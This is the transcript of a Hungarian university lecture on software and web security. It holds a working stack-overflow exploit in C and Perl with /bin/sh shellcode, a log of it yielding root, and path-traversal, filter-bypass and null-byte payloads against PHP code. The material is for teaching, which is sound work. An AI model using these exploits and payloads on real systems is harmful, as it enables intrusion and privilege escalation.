1 / 21

Számítógépes Hálózatok II

Számítógépes Hálózatok II. Széchenyi István Egyetem. Programhibák. Környezeti változó Temp fájl/könyvtár hibás kezelése I/O hiba. A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét. I/O kezelés. Ellenőrzött INPUT!! Ellenőrzött OUTPUT!!

beck
Download Presentation

Számítógépes Hálózatok II

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Számítógépes Hálózatok II Széchenyi István Egyetem Széchenyi Isván Egyetem Számítógépes hálózatok II

  2. Programhibák • Környezeti változó • Temp fájl/könyvtár hibás kezelése • I/O hiba A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét Széchenyi Isván Egyetem Számítógépes hálózatok II

  3. I/O kezelés • Ellenőrzött INPUT!! • Ellenőrzött OUTPUT!! • Input adat megfelelő kezelése,memóriában való mozgatása Nem megfelelően kezelt I/O adatok nagy veszélyt jelenthetnek olyan programok Esetén, melyek magasabb privilégiummal futnak, mint a felhasználó jogosultságai Széchenyi Isván Egyetem Számítógépes hálózatok II

  4. Stack Overflow • Hiba alapja a nem megfelelő memóriamozgatás • Segítségével bármilyen kód végrehajtható • Kihasználásához speciális körülmények szükségesek A technika és a hiba nagyon régi, mégis a mai napig megtalálható a rendszerekben. Rengeteg szervert és hálózatot törnek fel ezen technika alkalmazásával Széchenyi Isván Egyetem Számítógépes hálózatok II

  5. Stack Overlow alapok • Memória felépítés (Verem,kód,adat szegmens) • Verem felépítése,működése (LIFO) • Milyen adatok vannak a veremben? • átmeneti adatok • környezeti változók, paraméterek • rendszerváltozók • ugrási táblázatok…. Széchenyi Isván Egyetem Számítógépes hálózatok II

  6. Széchenyi Isván Egyetem Számítógépes hálózatok II

  7. Fontosabb regiszterek • ESP (Stack Pointer, x86 architektúrán a stack tetejére mutat) • EBP (függvények helyi változói,paraméterek,visszatérési cím(!!)) • EIP (köv. végrehajtandó byte(!!)) A hiba megtalálása nagyon egyszerű, már létezik olyan fordító, mely észre is veszi a lehetséges veszélyeket Széchenyi Isván Egyetem Számítógépes hálózatok II

  8. Hiba kihasználása • Etikus/etikátlan • Shellcode (kritériumok) • Esély növelése (NOP) Széchenyi Isván Egyetem Számítógépes hálózatok II

  9. Hackeljünk!  Széchenyi Isván Egyetem Számítógépes hálózatok II

  10. Hibás példaprogram #include <stdio.h> int main(int argc,char **argv){ char buf[256]; if(argc < 2) { printf("Usage: %s <overflowbuffer>\n",argv[0]); exit(-1); } strcpy(buf,argv[1]); /* Boooom */} } Széchenyi Isván Egyetem Számítógépes hálózatok II

  11. Biztonsági Audit C nyelven /* c0dEd bY Depth fR0m HB S3CurTy tEAm*/ #include<stdio.h> #include<stdlib.h> #define NOP 0x90 #define LEN 2048 #define RET 0xbffff000 //0xbffffd18 int main(int argc, char **argv){ char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08„ "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0„ "\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; char buffer[LEN]; long addr = RET; int i;addr+=atoi(argv[1]); for(i=0;i<(LEN - sizeof(shellcode));i++){ *(buffer+i)=NOP; } for(i=0;i<300;i+=4){ *(long *)&buffer[i]= addr; } memcpy(buffer+(LEN-sizeof(shellcode)),shellcode,sizeof(shellcode)); execl("./test1","HBST exploit",buffer,0); return 0; } Széchenyi Isván Egyetem Számítógépes hálózatok II

  12. Biztonsági Audit Perl Nyelven #!/usr/bin/perl # Coded By Depth from HB Security Team $shellcode = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c"; $shellcode .="\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d"; $shellcode .= "\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde"; $shellcode .= "\xff\xff\xff/bin/sh"; $nop= "\x90"; $ret= 0xbffff000; $len=2048; $new_ret=pack("l",($ret + $ARGV[0])); for ($i=0; $i<$len; $i+=4) { $buffer .= $new_ret; } for($i=0;$i< $len - length($shellcode)-100;$i++){ $buffer .= $nop; } $buffer .= $shellcode; exec("./test1",$buffer,0); Széchenyi Isván Egyetem Számítógépes hálózatok II

  13. Hiba kihasználása srv-halx:/tmp$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) srv-halx:/tmp$ for i in `seq 200 500`;do ./expl1.pl $i;done ………………………… Trace/breakpoint trap Illegal instruction Segmentation fault Illegal instruction Trace/breakpoint trap Illegal instruction Illegal instruction Illegal instruction Trace/breakpoint trap Illegal instruction sh-2.05a# id uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup) sh-2.05a# Széchenyi Isván Egyetem Számítógépes hálózatok II

  14. Webes biztonság Problémák: • Nagy, összetett rendszerek • Nem ellenőrzött INPUT • Nem megfelelő jogosultságok • Biztonság alapvető hiánya A problémák az egyszerű oldalaktól a bonyolult webes áruházakig megtalálhatók Széchenyi Isván Egyetem Számítógépes hálózatok II

  15. Könyvtárak, fájlok hibás kezelése I Legegyszerűbb eset: www.akarmi.hu/index.php?fajl=adatok.txt <?php …. fopen($HTTP_GET_VARS['fajl'], "a"); …… ?> Az adatok.txt helyére bármilyen fájlt megadhatunk aminek olvasásához a httpd-nek Joga van. Széchenyi Isván Egyetem Számítógépes hálózatok II

  16. Könyvtárak, fájlok hibás kezelése II Kicsit „biztonságosabb” eset: www.akarmi.hu/index.php?fajl=adatok.txt <?php $file = '/var/www/'.$HTTP_GET_VARS['fajl];fopen($file, "a"); ?> www.akarmi.hu/index.php?fajl=../../file_amit_akarok Megfelelő védelmet nyújt minden esetben a teljes META karakterkészlet szűrése Széchenyi Isván Egyetem Számítógépes hálózatok II

  17. Könyvtárak, fájlok hibás kezelése III <?php $grep_file = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['fajl']);$file = '/files/include/'.$grep_file;fopen($file, "a"); ?> Preg_replace() függvény kiszűri a ../ karaktereket a fájlnévből. Trükk: …/…//…/…//file_amit_akarok Átalakítás: .../ -> . …// -> ./ Széchenyi Isván Egyetem Számítógépes hálózatok II

  18. Saját script futtatása Probléma: www.akarmi.hu/index.php?inc_text=oldal.php • A probléma kihasználásának feltételei: • egy szerver, melyen nincs php futtatási lehetőség • saját script Ettől kezdve összetett programokat, exploitokat lehet futtatni melyek segítségével Akár Adminisztrátori szintre is lehet törni a célszervert. Széchenyi Isván Egyetem Számítógépes hálózatok II

  19. NULL byte • Hexában %00 • Mit jelenthet? (gondoljunk a C programozásra) Csak a meghatározott kiterjesztésű fájlokat lehet megnyitni: <?php $file = $HTTP_GET_VARS['fajl'];$file = $file.'.txt';fopen($file, 'r');?> www.valami.hu/index.php?fajl=adatok.txt index.php%00.txt // index.php forrása!! Széchenyi Isván Egyetem Számítógépes hálózatok II

  20. Befejezés? • Törekedjünk legalább a minimális biztonságra • A lista nem teljes… • Biztos, hogy hozzánk nem törtek be? Széchenyi Isván Egyetem Számítógépes hálózatok II

  21. Köszönöm a figyelmet Széchenyi Isván Egyetem Számítógépes hálózatok II

More Related